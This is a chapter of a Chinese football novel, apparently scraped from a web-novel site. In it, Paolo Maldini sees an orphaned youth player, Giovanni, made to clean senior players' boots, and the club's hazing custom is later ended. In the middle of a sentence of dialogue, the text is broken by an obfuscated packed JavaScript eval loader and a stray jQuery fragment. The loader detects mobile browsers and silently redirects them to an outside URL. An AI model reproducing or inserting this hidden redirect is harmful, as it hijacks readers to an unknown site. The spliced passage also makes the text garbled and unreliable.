虽然父亲没说，但马尔蒂尼知道把那位暂时住在他家的“天才球员”送回去也是自己的责任。
结束训练后他与队友纷纷告别，独自走向青年队的更衣室。
青训营结束训练的时间比一线队要早很多，一路上马尔蒂尼几乎没碰见几个年轻小球员，“那孩子不会已经乘公交车回去了吧？”
刚转过一个拐角，马尔蒂尼却忽然听见了一道熟悉的嗓音——
“约翰，这鞋看上去质地最好，是什么牌子的？”
他抬眼望去，只见乔瓦尼正一个人蹲在更衣室外的水槽边，埋头刷洗球鞋，嘴里还念念有词。
马尔蒂尼缓步走近，这才注意到少年手边摆着五、六双沾满草屑与泥污的足球鞋，而在他不远处的地面上，整整齐齐地排列着十多双已经刷洗干净的球鞋。
马尔蒂尼立刻便意识到发生了什么。
还没等他出声，少年就像后脑勺长眼睛了似的，蓦地回过头来。
那一双灰蓝色的眼睛里掠过一丝惊讶。
“马尔蒂尼先生。”乔瓦尼立刻放下手中的鞋子和鞋刷，站起身来。
马尔蒂尼的确听科斯塔库塔提起过，米兰青训营里的部分“老队员”会要求新人给他们刷球鞋，用以巩固更衣室无形的等级秩序，让新人学会服从。那时的马尔蒂尼还很年轻，只是不以为然地反驳：“我怎么就没遇到过这种事。”
因为在AC米兰青训营，从来没有人会为难一个姓马尔蒂尼的孩子，那些偶尔存在的粗鄙与阴暗，也总是被隔绝在他的视线之外。这些对保罗·马尔蒂尼而言，像是一种无需开口便被默许、却也无法逃避的“特权”。
可就像知道世界上有贫困是一回事，但亲眼看到一个孩子挨饿是另一回事一样。
马尔蒂尼的道德感很难让他在亲眼目睹了这件事后，还能坦然默认青训更衣室的“规则”。
克鲁伊夫只看一眼就知道面前这位一向在足坛风评很好的红黑军团队长在想什么。
“乔，我就告诉过你要动作快点。”他揶揄道，“小马尔蒂尼看到你被欺负可做不到袖手旁观。”
乔瓦尼内心对此却不以为然。刷十几双球鞋远算不上糟糕，这甚至比他过去所经历的许多事都要温和得多。他蹲在这里并非出于顺从，而是他深知像自己这样毫无依仗的孤儿，需要先服从底层规则，拿到游戏的“入场券”，才有可能得到更多向上爬的机会。
如今，他只想在这里“安全”地踢球，那么用一点点微不足道的“顺从”去换来一个“机会”，无疑是一笔划算的交易。
“请您稍等，马尔蒂尼先生。”乔瓦尼甚至弯起嘴角，扯出了一个足以应付成年人的笑容，“我这边马上就要结束了。”
说罢，少年立刻蹲了回去，本来他也快要结束了。
“你不必做这些。”马尔蒂尼上前了一步，但乔瓦尼没有再抬头，只是加快了手上的动作：“没什么，先生。这些只是小事。”
“可这不是你该干的事情”，马尔蒂尼却语气坚定：“融入球队，从来不需要以丢弃尊严为代价。”
尊严？
乔瓦尼的动作突然停住，这可真是一个分外陌生又可笑的词汇。
“冷静点儿，乔……”克鲁伊夫立刻察觉到少年的情绪有些不对，但显然已经来不及阻止了。他心里明白，尽管乔瓦尼一遍又一遍地说服自己，给老球员刷鞋不过是一种利益交换，可他心底那份不甘与愤怒，其实丝毫未减。
下一秒，乔瓦尼“啪”地扔掉鞋刷，猛地抬起头，那双灰蓝色的眼睛里不再有乖顺，只剩下尖锐：“尊严？尊严能帮我在福利院抢到面包吗？尊严能在我挨打的时候拯救我吗？尊严能让我从垃圾桶里捡到属于我的第一个足球吗？”
最后一个词脱口而出的瞬间，乔瓦尼就后悔了。马尔蒂尼沉默地看着他，那眼神里没有轻视，只有惊讶，或许还有一丝……怜悯？
这反而像一盆冷水瞬间浇醒了他。该死的，他在对一个试图帮助自己的人发火？
乔瓦尼深吸一口气，试图用商量的口吻缓和气氛：“马尔蒂尼先生，我只是个无依无靠的孤儿。这么做能让我更‘安全’地留下来……这只是一笔简单的交易，无关对错。”
马尔蒂尼没有立刻反驳，他沉默地看着乔瓦尼，在那双故作坚强的灰蓝色眼眸深处，捕捉到了一闪而过的恐慌。这让他忽然想起巴雷西曾提过的事：这个孩子，曾被米兰青训营拒绝过一次。
他确实没有资格擅自将自己的正义感凌驾于对方的生存之上。
最终，马尔蒂尼收敛了所有情绪，沉稳地说道：“好，我等你。”
但是他也没有走远，而是自然地转过身，向后倚靠在走廊的墙边，目光平静地投向训练场，直到乔瓦尼快速洗完最后几双鞋，并收拾好一切。
在开车送乔瓦尼回家的路上，马尔蒂尼也没有再提起这件事。他只是聊了聊白天的训练，问了几个关于乔瓦尼踢球习惯的普通问题。
晚上，马尔蒂尼选择继续留在父母家，这对意大利人来说是一件很正常的事情。但作为荷兰人，克鲁伊夫还是对此吐槽了一两句。
餐桌上的晚餐明显比昨日丰盛得多。看得出来，昨天巴雷西的不请自来多少限制了玛丽莎厨艺的施展。
“你还在长身体，不用控制体重，多吃一些
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383108|184144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”切萨雷对乔瓦尼说话时总是带着笑意，不像对自己儿子时那般严肃。
“好的，先生。”乔瓦尼小声应道，偷偷瞥了一眼坐在对面的保罗·马尔蒂尼。对方似乎早已将下午刷球鞋的事彻底抛在脑后，这让少年暗自松了口气，但同时又产生一种难以言说的失落。
克鲁伊夫敏锐地捕捉到了乔瓦尼这份矛盾的心理。“想打个赌吗？”他站在一旁，语气笃定：“我敢说，现在他脑子里只有这一件事。”
乔瓦尼咽下口中的食物，在心里默默反驳：“你又不能像读取我的想法一样看透他在想什么。”
“但是我了解他这类人，小马尔蒂尼是天生的领袖。”克鲁伊夫回应道，语气中带着难得流露的赞赏，“任何一个称职的领袖在亲眼目睹自己球队中存在的陋习后，都不会无动于衷、放任自流。”
乔瓦尼却还是兴致不高，只在心里淡淡回了一句：“那我拭目以待。”
结果第二天一早，塔索蒂就带着一项青训营新规走进了更衣室。
“为保障训练质量和个人卫生，即日起，所有训练后的球鞋、球衣等个人装备，将由俱乐部安排专人统一收集、清洗和保管。”他笑着看向满屋子的年轻人，“这下你们可省事了，专心踢球吧。”
根本没人提出异议，正处在青春期的男孩们巴不得少做点杂事，规定刚一宣布，更衣室里就响起一片轻松的欢呼。
乔瓦尼愣愣地坐在角落，一时有些恍惚。
“这规定简洁明了，公事公办，听起来完全像是一次后勤管理的优化升级，没有指向任何具体事件或个人，没人会联想到昨天发生的事。”克鲁伊夫的声音在一旁响起，“虽然我始终认为球员自己护理装备不是坏事……”
他伸出手在仍然呆愣的弟子眼前挥了两下，“你的想法没错，在生存面前尊严确实不值一提。但是我觉得，你也是时候学着信任成年人了。至少，是该相信那些真正值得你相信的人。乔，并不是每次求助都会被拒绝。”
在傍晚回家的路上，马尔蒂尼瞥见副驾上的乔瓦尼偷瞄了他好几回。少年话到嘴边又咽回去的样子让他有点想笑。
“我依然觉得，向霸凌者低头解决不了问题。”马尔蒂尼率先打破沉默，“但那是属于你的生存经验，我尊重你的选择。”
乔瓦尼微微一怔，没想到对方会主动重提此事。
“不过，作为球队队长，我不会允许队内发生这样恶劣的事情。你可以隐瞒，但是我无法视而不见。”
他侧过头，飞快地看了乔瓦尼一眼，目光坚定。
“这不仅是为了你，乔。也是为了每一个即将走进米兰内洛的孩子。”